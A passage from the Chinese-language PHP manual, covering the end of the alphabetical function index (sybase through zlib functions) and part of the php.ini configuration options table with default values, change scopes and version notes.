sybase_field_seek()
sybase_free_result()
sybase_get_last_message()
sybase_min_client_severity()
sybase_min_error_severity()
sybase_min_message_severity()
sybase_min_server_severity()
sybase_num_fields()
sybase_num_rows()
sybase_pconnect()
sybase_query()
sybase_result()
sybase_select_db()
sybase_set_message_handler()
sybase_unbuffered_query()
symlink()
syslog()
system()

T

tan()
tanh()
tcpwrap_check()
tempnam()
textdomain()
tidy::__construct()
tidy_access_count()
tidy_clean_repair()
tidy_config_count()
tidy_diagnose()
tidy_error_count()
tidy_get_body()
tidy_get_config()
tidy_get_error_buffer()
tidy_get_head()
tidy_get_html()
tidy_get_html_ver()
tidy_get_output()
tidy_get_release()
tidy_get_root()
tidy_get_status()
tidy_getopt()
tidy_is_xhtml()
tidy_is_xml()
tidy_load_config()
tidy_node->children()
tidy_node->get_attr()
tidy_node->get_nodes()
tidy_node->hasChildren()
tidy_node->hasSiblings()
tidy_node->isComment()
tidy_node->isHtml()
tidy_node->isJste()
tidy_node->isText()
tidy_node->isXhtml()
tidy_node->isXml()
tidy_node->next()
tidy_node->prev()
tidy_parse_file()
tidy_parse_string()
tidy_repair_file()
tidy_repair_string()
tidy_reset_config()
tidy_save_config()
tidy_set_encoding()
tidy_setopt()
tidy_warning_count()
tidyNode->isAsp()
tidyNode->isPhp()
time()
time_nanosleep()
tmpfile()
token_get_all()
token_name()
touch()
trigger_error()
trim()

U

uasort()
ucfirst()
ucwords()
udm_add_search_limit()
udm_alloc_agent()
udm_alloc_agent_array()
udm_api_version()
udm_cat_list()
udm_cat_path()
udm_check_charset()
udm_check_stored()
udm_clear_search_limits()
udm_close_stored()
udm_crc32()
udm_errno()
udm_error()
udm_find()
udm_free_agent()
udm_free_ispell_data()
udm_free_res()
udm_get_doc_count()
udm_get_res_field()
udm_get_res_param()
udm_hash32()
udm_load_ispell_data()
udm_open_stored()
udm_set_agent_param()
uksort()
umask()
uniqid()
unixtojd()
unlink()
unpack()
unregister_tick_function()
unserialize()
unset()
urldecode()
urlencode()
user_error()
usleep()
usort()
utf8_decode()
utf8_encode()

V

var_dump()
var_export()
variant()
variant_abs()
variant_add()
variant_and()
variant_cast()
variant_cat()
variant_cmp()
variant_date_from_timestamp()
variant_date_to_timestamp()
variant_div()
variant_eqv()
variant_fix()
variant_get_type()
variant_idiv()
variant_imp()
variant_int()
variant_mod()
variant_mul()
variant_neg()
variant_not()
variant_or()
variant_pow()
variant_round()
variant_set()
variant_set_type()
variant_sub()
variant_xor()
version_compare()
vfprintf()
virtual()
vpopmail_add_alias_domain()
vpopmail_add_alias_domain_ex()
vpopmail_add_domain()
vpopmail_add_domain_ex()
vpopmail_add_user()
vpopmail_alias_add()
vpopmail_alias_del()
vpopmail_alias_del_domain()
vpopmail_alias_get()
vpopmail_alias_get_all()
vpopmail_auth_user()
vpopmail_del_domain()
vpopmail_del_domain_ex()
vpopmail_del_user()
vpopmail_error()
vpopmail_passwd()
vpopmail_set_user_quota()
vprintf()
vsprintf()

W

w32api_deftype()
w32api_init_dtype()
w32api_invoke_function()
w32api_register_function()
w32api_set_call_method()
wddx_add_vars()
wddx_deserialize()
wddx_packet_end()
wddx_packet_start()
wddx_serialize_value()
wddx_serialize_vars()
wordwrap()

X

xattr_get()
xattr_list()
xattr_remove()
xattr_set()
xattr_supported()
xdiff_file_diff()
xdiff_file_diff_binary()
xdiff_file_merge3()
xdiff_file_patch()
xdiff_file_patch_binary()
xdiff_string_diff()
xdiff_string_diff_binary()
xdiff_string_merge3()
xdiff_string_patch()
xdiff_string_patch_binary()
xml_error_string()
xml_get_current_byte_index()
xml_get_current_column_number()
xml_get_current_line_number()
xml_get_error_code()
xml_parse()
xml_parse_into_struct()
xml_parser_create()
xml_parser_create_ns()
xml_parser_free()
xml_parser_get_option()
xml_parser_set_option()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_object()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
xmlrpc_decode()
xmlrpc_decode_request()
xmlrpc_encode()
xmlrpc_encode_request()
xmlrpc_get_type()
xmlrpc_is_fault()
xmlrpc_parse_method_descriptions()
xmlrpc_server_add_introspection_data()
xmlrpc_server_call_method()
xmlrpc_server_create()
xmlrpc_server_destroy()
xmlrpc_server_register_introspection_callback()
xmlrpc_server_register_method()
xmlrpc_set_type()
xpath_eval()
xpath_eval_expression()
xpath_new_context()
xptr_eval()
xptr_new_context()
xsl_xsltprocessor_get_parameter()
xsl_xsltprocessor_has_exslt_support()
xsl_xsltprocessor_import_stylesheet()
xsl_xsltprocessor_register_php_functions()
xsl_xsltprocessor_remove_parameter()
xsl_xsltprocessor_set_parameter()
xsl_xsltprocessor_transform_to_doc()
xsl_xsltprocessor_transform_to_uri()
xsl_xsltprocessor_transform_to_xml()
xslt_backend_info()
xslt_backend_name()
xslt_backend_version()
xslt_create()
xslt_errno()
xslt_error()
xslt_free()
xslt_getopt()
xslt_process()
xslt_set_base()
xslt_set_encoding()
xslt_set_error_handler()
xslt_set_log()
xslt_set_object()
xslt_set_sax_handler()
xslt_set_sax_handlers()
xslt_set_scheme_handler()
xslt_set_scheme_handlers()
xslt_setopt()

Y

yaz_addinfo()
yaz_ccl_conf()
yaz_ccl_parse()
yaz_close()
yaz_connect()
yaz_database()
yaz_element()
yaz_errno()
yaz_error()
yaz_es_result()
yaz_get_option()
yaz_hits()
yaz_itemorder()
yaz_present()
yaz_range()
yaz_record()
yaz_scan()
yaz_scan_result()
yaz_schema()
yaz_search()
yaz_set_option()
yaz_sort()
yaz_syntax()
yaz_wait()
yp_all()
yp_cat()
yp_err_string()
yp_errno()
yp_first()
yp_get_default_domain()
yp_master()
yp_match()
yp_next()
yp_order()

Z

zend_logo_guid()
zend_version()
zip_close()
zip_entry_close()
zip_entry_compressedsize()
zip_entry_compressionmethod()
zip_entry_filesize()
zip_entry_name()
zip_entry_open()
zip_entry_read()
zip_open()
zip_read()
zlib_get_coding_type()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点
函数索引 | 上一级


函数索引

PHP 手册
后退 前进

附录 S. 函数索引

目录
函数索引

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
VI. LICENSE OPTIONS | 上一级 | 函数索引


php.ini 配置选项

PHP 手册
后退 前进

附录 G. php.ini 配置选项

目录
php.ini 配置选项列表
php.ini 核心配置选项说明

php.ini 配置选项列表

可以在 php.ini 中使用下列配置选项对 PHP 进行配置。

表格 G-1. 配置选项

名称 | 默认值 | 可修改范围 | 更新记录
allow_call_time_pass_reference | "1" | PHP_INI_PERDIR | 在 PHP <= 4.0.0 时是 PHP_INI_ALL。
allow_url_fopen | "1" | PHP_INI_SYSTEM | 在 PHP <= 4.3.4 时是 PHP_INI_ALL。从 PHP 4.0.4 起可用。
always_populate_raw_post_data | "0" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。从 PHP 4.1.0 起可用。
apc.cache_by_default | "1" | PHP_INI_SYSTEM |
apc.enabled | "1" | PHP_INI_ALL |
apc.filters | "" | PHP_INI_SYSTEM |
apc.gc_ttl | "3600" | PHP_INI_SYSTEM |
apc.mmap_file_mask | NULL | PHP_INI_SYSTEM |
apc.num_files_hint | "1000" | PHP_INI_SYSTEM |
apc.optimization | "0" | PHP_INI_ALL |
apc.shm_segments | "1" | PHP_INI_SYSTEM |
apc.shm_size | "30" | PHP_INI_SYSTEM |
apc.slam_defense | "0" | PHP_INI_SYSTEM |
apc.ttl | "0" | PHP_INI_SYSTEM |
apc.user_entries_hint | "100" | PHP_INI_SYSTEM |
apc.user_ttl | "0" | PHP_INI_SYSTEM |
apd.dumpdir | NULL | PHP_INI_ALL |
apd.statement_tracing | "0" | PHP_INI_ALL |
arg_separator.input | "&" | PHP_INI_PERDIR | 从 PHP 4.0.5 起可用。
arg_separator.output | "&" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
asp_tags | "0" | PHP_INI_PERDIR | 在 PHP <= 4.0.0 时是 PHP_INI_ALL 。
assert.active | "1" | PHP_INI_ALL |
assert.bail | "0" | PHP_INI_ALL |
assert.callback | NULL | PHP_INI_ALL |
assert.quiet_eval | "0" | PHP_INI_ALL |
assert.warning | "1" | PHP_INI_ALL |
auto_append_file | NULL | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL 。
auto_detect_line_endings | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
auto_globals_jit | "1" | PHP_INI_PERDIR | 从 PHP 5.0.0 起可用。
auto_prepend_file | NULL | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。
bcmath.scale | "0" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
birdstep.max_links | "-1" | PHP_INI_ALL |
blenc.key_file | "/usr/local/etc/blenckeys" | PHP_INI_ALL |
browscap | NULL | PHP_INI_SYSTEM |
cgi.fix_pathinfo | "1" | PHP_INI_ALL |
cgi.force_redirect | "1" | PHP_INI_ALL |
cgi.nph | "0" | PHP_INI_ALL |
cgi.redirect_status_env | NULL | PHP_INI_ALL |
cgi.rfc2616_headers | "0" | PHP_INI_ALL |
child_terminate | "0" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
com.allow_dcom | "0" | PHP_INI_SYSTEM | 从 PHP 4.0.5 起可用。
com.autoregister_casesensitive | "1" | PHP_INI_ALL | 在 PHP 4 时是 PHP_INI_SYSTEM。从 PHP 4.1.0 起可用。
com.autoregister_typelib | "0" | PHP_INI_ALL | 在 PHP 4 时是 PHP_INI_SYSTEM。从 PHP 4.1.0 起可用。
com.autoregister_verbose | "0" | PHP_INI_ALL | 在 PHP 4 时是 PHP_INI_SYSTEM。从 PHP 4.1.0 起可用。
com.code_page | "" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
com.typelib_file | "" | PHP_INI_SYSTEM | 从 PHP 4.0.5 起可用。
crack.default_dictionary | NULL | PHP_INI_SYSTEM | 从 PHP 4.0.5 起可用。
daffodildb.default_host | "localhost" | PHP_INI_ALL |
daffodildb.default_password | "daffodil" | PHP_INI_ALL |
daffodildb.default_socket | NULL | PHP_INI_ALL |
daffodildb.default_user | "DAFFODIL" | PHP_INI_ALL |
daffodildb.port | "3456" | PHP_INI_ALL |
date.default_latitude | "31.7667" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
date.default_longitude | "35.2333" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
date.sunrise_zenith | "90.83" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
date.sunset_zenith | "90.83" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
date.timezone | "GMT" | "" | PHP_INI_ALL | 从 PHP 5.1.0 起可用。
dba.default_handler | "" | PHP_INI_ALL | 从 PHP 4.3.3 起可用。
dbx.colnames_case | "unchanged" | PHP_INI_SYSTEM | 从 PHP 4.3.0 起可用。
default_charset | "" | PHP_INI_ALL |
default_mimetype | "text/html" | PHP_INI_ALL |
default_socket_timeout | "60" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
define_syslog_variables | "0" | PHP_INI_ALL |
disable_classes | "" | php.ini only | 从 PHP 4.3.2 起可用。
disable_functions | "" | php.ini only | 从 PHP 4.0.1 起可用。
display_errors | "1" | PHP_INI_ALL |
display_startup_errors | "0" | PHP_INI_ALL | 从 PHP 4.0.3 起可用。
docref_ext | "" | PHP_INI_ALL | 从 PHP 4.3.2 起可用。
docref_root | "" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
doc_root | NULL | PHP_INI_SYSTEM |
enable_dl | "1" | PHP_INI_SYSTEM |
engine | "1" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
error_append_string | NULL | PHP_INI_ALL |
error_log | NULL | PHP_INI_ALL |
error_prepend_string | NULL | PHP_INI_ALL |
error_reporting | NULL | PHP_INI_ALL |
exif.decode_jis_intel | "JIS" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
exif.decode_jis_motorola | "JIS" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
exif.decode_unicode_intel | "UCS-2LE" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
exif.decode_unicode_motorola | "UCS-2BE" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
exif.encode_jis | "" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
exif.encode_unicode | "ISO-8859-15" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
expose_php | "1" | 仅可用在 php.ini |
extension_dir | "/path/to/php" | PHP_INI_SYSTEM |
fastcgi.impersonate | "0" | PHP_INI_ALL |
fastcgi.logging | "1" | PHP_INI_ALL |
fbsql.allow_persistent | "1" | PHP_INI_SYSTEM | 从 PHP 4.2.0 起可用。
fbsql.autocommit | "1" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.batchsize | "1000" | PHP_INI_ALL | 从 PHP 5.1.0 起可用。
fbsql.default_database | "" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.default_database_password | "" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.default_host | NULL | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.default_password | "" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.default_user | "_SYSTEM" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.generate_warnings | "0" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.max_connections | "128" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.max_links | "128" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.max_persistent | "-1" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
fbsql.max_results | "128" | PHP_INI_SYSTEM | 从 PHP 4.0.6 起可用。
file_uploads | "1" | PHP_INI_SYSTEM | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。从 PHP 4.0.3 起可用。
filter.default | "notags" | PHP_INI_ALL |
from | "" | PHP_INI_ALL |
highlight.bg | "#FFFFFF" | PHP_INI_ALL |
highlight.comment | "#FF8000" | PHP_INI_ALL |
highlight.default | "#0000BB" | PHP_INI_ALL |
highlight.html | "#000000" | PHP_INI_ALL |
highlight.keyword | "#007700" | PHP_INI_ALL |
highlight.string | "#DD0000" | PHP_INI_ALL |
html_errors | "1" | PHP_INI_ALL | 在 PHP <= 4.2.3 时是 PHP_INI_SYSTEM。从 PHP 4.0.2 起可用。
http.allowed_methods | NULL | PHP_INI_ALL |
http.cache_log | NULL | PHP_INI_ALL |
hyperwave.allow_persistent | "0" | PHP_INI_SYSTEM | 从 PHP 4.3.2 起可用。
hyperwave.default_port | "418" | PHP_INI_ALL |
ibase.allow_persistent | "1" | PHP_INI_SYSTEM |
ibase.dateformat | "%Y-%m-%d" | PHP_INI_ALL |
ibase.default_charset | NULL | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
ibase.default_db | NULL | PHP_INI_SYSTEM | 从 PHP 5.0.0 起可用。
ibase.default_password | NULL | PHP_INI_ALL |
ibase.default_user | NULL | PHP_INI_ALL |
ibase.max_links | "-1" | PHP_INI_SYSTEM |
ibase.max_persistent | "-1" | PHP_INI_SYSTEM |
ibase.timeformat | "%H:%M:%S" | PHP_INI_ALL |
ibase.timestampformat | "%Y-%m-%d %H:%M:%S" | PHP_INI_ALL |
ibm_db2.binmode | "0" | PHP_INI_ALL |
ibm_db2.instance_name | NULL | PHP_INI_SYSTEM |
iconv.input_encoding | "ISO-8859-1" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
iconv.internal_encoding | "ISO-8859-1" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
iconv.output_encoding | "ISO-8859-1" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
ifx.allow_persistent | "1" | PHP_INI_SYSTEM |
ifx.blobinfile | "1" | PHP_INI_ALL |
ifx.byteasvarchar | "0" | PHP_INI_ALL |
ifx.charasvarchar | "0" | PHP_INI_ALL |
ifx.default_host | NULL | PHP_INI_SYSTEM |
ifx.default_password | NULL | PHP_INI_SYSTEM |
ifx.default_user | NULL | PHP_INI_SYSTEM |
ifx.max_links | "-1" | PHP_INI_SYSTEM |
ifx.max_persistent | "-1" | PHP_INI_SYSTEM |
ifx.nullformat | "0" | PHP_INI_ALL |
ifx.textasvarchar | "0" | PHP_INI_ALL |
ignore_repeated_errors | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
ignore_repeated_source | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
ignore_user_abort | "0" | PHP_INI_ALL |
implicit_flush | "0" | PHP_INI_ALL | 在 PHP <= 4.2.3 时是 PHP_INI_PERDIR。
include_path | ".;/path/to/php/pear" | PHP_INI_ALL |
ingres.allow_persistent | "1" | PHP_INI_SYSTEM | 从 PHP 4.0.2 起可用。
ingres.cursor_mode | "0" | PHP_INI_ALL |
ingres.default_database | NULL | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
ingres.default_password | NULL | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
ingres.default_user | NULL | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
ingres.max_links | "-1" | PHP_INI_SYSTEM | 从 PHP 4.0.2 起可用。
ingres.max_persistent | "-1" | PHP_INI_SYSTEM | 从 PHP 4.0.2 起可用。
ingres.report_db_warnings | "0" | PHP_INI_ALL |
ircg.control_user | "nobody" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
ircg.keep_alive_interval | "60" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
ircg.max_format_message_sets | "12" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
ircg.shared_mem_size | "6000000" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
ircg.work_dir | "/tmp/ircg" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
last_modified | "0" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
ldap.max_links | "-1" | PHP_INI_SYSTEM |
log_errors | "0" | PHP_INI_ALL |
log_errors_max_len | "1024" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
magic_quotes_gpc | "1" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。
magic_quotes_runtime | "0" | PHP_INI_ALL |
magic_quotes_sybase | "0" | PHP_INI_ALL |
mail.force_extra_parameters | NULL | PHP_INI_PERDIR | 从 PHP 5.0.0 起可用。
mailparse.def_charset | "us-ascii" | PHP_INI_ALL | 从 PHP 4.1.0 起可用。
maxdb.default_db | NULL | PHP_INI_ALL |
maxdb.default_host | NULL | PHP_INI_ALL |
maxdb.default_pw | NULL | PHP_INI_ALL |
maxdb.default_user | NULL | PHP_INI_ALL |
maxdb.long_readlen | "200" | PHP_INI_ALL |
max_execution_time | "30" | PHP_INI_ALL |
max_input_time | "-1" | PHP_INI_PERDIR | 从 PHP 4.3.0 起可用。
mbstring.detect_order | NULL | PHP_INI_ALL | 从 PHP 4.0.6 起可用。
mbstring.encoding_translation | "0" | PHP_INI_PERDIR | 从 PHP 4.3.0 起可用。
mbstring.func_overload | "0" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_SYSTEM。从 PHP 4.2.0 起可用。
mbstring.http_input | "pass" | PHP_INI_ALL | 从 PHP 4.0.6 起可用。
mbstring.http_output | "pass" | PHP_INI_ALL | 从 PHP 4.0.6 起可用。
mbstring.internal_encoding | NULL | PHP_INI_ALL | 从 PHP 4.0.6 起可用。
mbstring.language | "neutral" | PHP_INI_PERDIR | 从 PHP 4.3.0 起可用。
mbstring.script_encoding | NULL | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
mbstring.substitute_character | NULL | PHP_INI_ALL | 从 PHP 4.0.6 起可用。
mcrypt.algorithms_dir | NULL | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
mcrypt.modes_dir | NULL | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
memory_limit | "8M" | PHP_INI_ALL |
mime_magic.debug | "0" | PHP_INI_SYSTEM | 从 PHP 5.0.0 起可用。
mime_magic.magicfile | "/path/to/php/magic.mime" | PHP_INI_SYSTEM | 从 PHP 4.3.0 起可用。
msql.allow_persistent | "1" | PHP_INI_ALL |
msql.max_links | "-1" | PHP_INI_ALL |
msql.max_persistent | "-1" | PHP_INI_ALL |
mssql.allow_persistent | "1" | PHP_INI_SYSTEM |
mssql.batchsize | "0" | PHP_INI_ALL | 从 PHP 4.0.4 起可用。
mssql.compatability_mode | "0" | PHP_INI_ALL |
mssql.connect_timeout | "5" | PHP_INI_ALL |
mssql.datetimeconvert | "1" | PHP_INI_ALL | 从 PHP 4.2.0 起可用。
mssql.max_links | "-1" | PHP_INI_SYSTEM |
mssql.max_persistent | "-1" | PHP_INI_SYSTEM |
mssql.max_procs | "25" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
mssql.min_error_severity | "10" | PHP_INI_ALL |
mssql.min_message_severity | "10" | PHP_INI_ALL |
mssql.secure_connection | "0" | PHP_INI_SYSTEM | 从 PHP 4.3.0 起可用。
mssql.textlimit | "-1" | PHP_INI_ALL |
mssql.textsize | "-1" | PHP_INI_ALL |
mssql.timeout | "60" | PHP_INI_ALL | 从 PHP 4.1.0 起可用。
mysql.allow_persistent | "1" | PHP_INI_SYSTEM |
mysql.connect_timeout | "60" | PHP_INI_ALL | 在 PHP <= 4.3.2 时是 PHP_INI_SYSTEM。从 PHP 4.3.0 起可用。
mysql.default_host | NULL | PHP_INI_ALL |
mysql.default_password | NULL | PHP_INI_ALL |
mysql.default_port | NULL | PHP_INI_ALL |
mysql.default_socket | NULL | PHP_INI_ALL | 从 PHP 4.0.1 起可用。
mysql.default_user | NULL | PHP_INI_ALL |
mysql.max_links | "-1" | PHP_INI_SYSTEM |
mysql.max_persistent | "-1" | PHP_INI_SYSTEM |
mysql.trace_mode | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
mysqli.default_host | NULL | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
mysqli.default_port | "3306" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
mysqli.default_pw | NULL | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
mysqli.default_socket | NULL | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
mysqli.default_user | NULL | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
mysqli.max_links | "-1" | PHP_INI_SYSTEM | 从 PHP 5.0.0 起可用。
mysqli.reconnect | "0" | PHP_INI_SYSTEM | 从 PHP 5.0.0 起可用。
namazu.debugmode | "0" | PHP_INI_ALL |
namazu.lang | NULL | PHP_INI_ALL |
namazu.loggingmode | "0" | PHP_INI_ALL |
namazu.sortmethod | NULL | PHP_INI_ALL |
namazu.sortorder | NULL | PHP_INI_ALL |
nsapi.read_timeout | "60" | PHP_INI_ALL | 从 PHP 4.3.3 起可用。
odbc.allow_persistent | "1" | PHP_INI_SYSTEM |
odbc.check_persistent | "1" | PHP_INI_SYSTEM |
odbc.defaultbinmode | "1" | PHP_INI_ALL |
odbc.defaultlrl | "4096" | PHP_INI_ALL |
odbc.default_db | NULL | PHP_INI_ALL |
odbc.default_pw | NULL | PHP_INI_ALL |
odbc.default_user | NULL | PHP_INI_ALL |
odbc.max_links | "-1" | PHP_INI_SYSTEM |
odbc.max_persistent | "-1" | PHP_INI_SYSTEM |
opendirectory.max_refs | "-1" | PHP_INI_ALL |
opendirectory.separator | "/" | PHP_INI_ALL |
open_basedir | NULL | PHP_INI_SYSTEM |
oracle.allow_persistent | "-1" | PHP_INI_ALL |
oracle.max_links | "-1" | PHP_INI_ALL |
oracle.max_persistent | "-1" | PHP_INI_ALL |
output_buffering | "0" | PHP_INI_PERDIR |
output_handler | NULL | PHP_INI_PERDIR | 从 PHP 4.0.4 起可用。
pdo_odbc.connection_pooling | "strict" | PHP_INI_ALL |
pfpro.defaulthost | "test-payflow.verisign.com" | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
pfpro.defaultport | "443" | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
pfpro.defaulttimeout | "30" | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
pfpro.proxyaddress | "" | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
pfpro.proxylogon | "" | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
pfpro.proxypassword | "" | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
pfpro.proxyport | "" | PHP_INI_ALL | 从 PHP 4.0.2 起可用。
pgsql.allow_persistent | "1" | PHP_INI_SYSTEM |
pgsql.auto_reset_persistent | "0" | PHP_INI_SYSTEM | 从 PHP 4.2.0 起可用。
pgsql.ignore_notice | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
pgsql.log_notice | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
pgsql.max_links | "-1" | PHP_INI_SYSTEM |
pgsql.max_persistent | "-1" | PHP_INI_SYSTEM |
post_max_size | "8M" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是PHP_INI_SYSTEM。从 PHP 4.0.3 起可用。
precision | "14" | PHP_INI_ALL |
printer.default_printer | "" | PHP_INI_ALL |
realpath_cache_size | "16K" | PHP_INI_SYSTEM | 从 PHP 5.1.0 起可用。
realpath_cache_ttl | "120" | PHP_INI_SYSTEM | 从 PHP 5.1.0 起可用。
register_argc_argv | "1" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。
register_globals | "0" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL、
register_long_arrays | "1" | PHP_INI_PERDIR | 从 PHP 5.0.0 起可用。
report_memleaks | "1" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
report_zend_debug | "1" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
runkit.superglobal | "" | PHP_INI_PERDIR |
safe_mode | "0" | PHP_INI_SYSTEM |
safe_mode_allowed_env_vars | "PHP_" | PHP_INI_SYSTEM |
safe_mode_exec_dir | "" | PHP_INI_SYSTEM |
safe_mode_gid | "0" | PHP_INI_SYSTEM | 从 PHP 4.1.0 起可用。
safe_mode_include_dir | NULL | PHP_INI_SYSTEM | 从 PHP 4.1.0 起可用。
safe_mode_protected_env_vars | "LD_LIBRARY_PATH" | PHP_INI_SYSTEM |
sendmail_from | NULL | PHP_INI_ALL |
sendmail_path | NULL | PHP_INI_SYSTEM |
serialize_precision | "100" | PHP_INI_ALL | 从 PHP 4.3.2 起可用。
session.auto_start | "0" | PHP_INI_ALL |
session.bug_compat_42 | "1" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
session.bug_compat_warn | "1" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
session.cache_expire | "180" | PHP_INI_ALL |
session.cache_limiter | "nocache" | PHP_INI_ALL |
session.cookie_domain | "" | PHP_INI_ALL |
session.cookie_lifetime | "0" | PHP_INI_ALL |
session.cookie_path | "/" | PHP_INI_ALL |
session.cookie_secure | "" | PHP_INI_ALL | 从 PHP 4.0.4 起可用。
session.entropy_file | "" | PHP_INI_ALL |
session.entropy_length | "0" | PHP_INI_ALL |
session.gc_divisor | "100" | PHP_INI_ALL | 从 PHP 4.3.2 起可用。
session.gc_maxlifetime | "1440" | PHP_INI_ALL |
session.gc_probability | "1" | PHP_INI_ALL |
session.hash_bits_per_character | "4" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
session.hash_function | "0" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
session.name | "PHPSESSID" | PHP_INI_ALL |
session.referer_check | "" | PHP_INI_ALL |
session.save_handler | "files" | PHP_INI_ALL |
session.save_path | "" | PHP_INI_ALL |
session.serialize_handler | "php" | PHP_INI_ALL |
session.use_cookies | "1" | PHP_INI_ALL |
session.use_only_cookies | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
session.use_trans_sid | "0" | PHP_INI_ALL | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。在 PHP < 5 时是 PHP_INI_PERDIR。从 PHP 4.0.3 起可用。
session_pgsql.create_table | "1" | PHP_INI_SYSTEM |
session_pgsql.db | "host=localhost dbname=php_session user=nobody" | PHP_INI_SYSTEM |
session_pgsql.disable | "0" | PHP_INI_SYSTEM |
session_pgsql.failover_mode | "0" | PHP_INI_SYSTEM |
session_pgsql.gc_interval | "3600" | PHP_INI_SYSTEM |
session_pgsql.keep_expired | "0" | PHP_INI_SYSTEM |
session_pgsql.sem_file_name | "/tmp/php_session_pgsql" | PHP_INI_SYSTEM |
session_pgsql.serializable | "0" | PHP_INI_SYSTEM |
session_pgsql.short_circuit | "0" | PHP_INI_SYSTEM |
session_pgsql.use_app_vars | "0" | PHP_INI_SYSTEM |
session_pgsql.vacuum_interval | "21600" | PHP_INI_SYSTEM |
short_open_tag | "1" | PHP_INI_PERDIR | 在 PHP <= 4.0.0 时是 PHP_INI_ALL。
simple_cvs.authMethod | "0" | PHP_INI_ALL |
simple_cvs.compressionLevel | "0" | PHP_INI_ALL |
simple_cvs.cvsRoot | "0" | PHP_INI_ALL |
simple_cvs.host | "0" | PHP_INI_ALL |
simple_cvs.moduleName | "0" | PHP_INI_ALL |
simple_cvs.userName | "0" | PHP_INI_ALL |
simple_cvs.workingDir | "0" | PHP_INI_ALL |
SMTP | "localhost" | PHP_INI_ALL |
smtp_port | "25" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
soap.wsdl_cache_dir | "/tmp" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
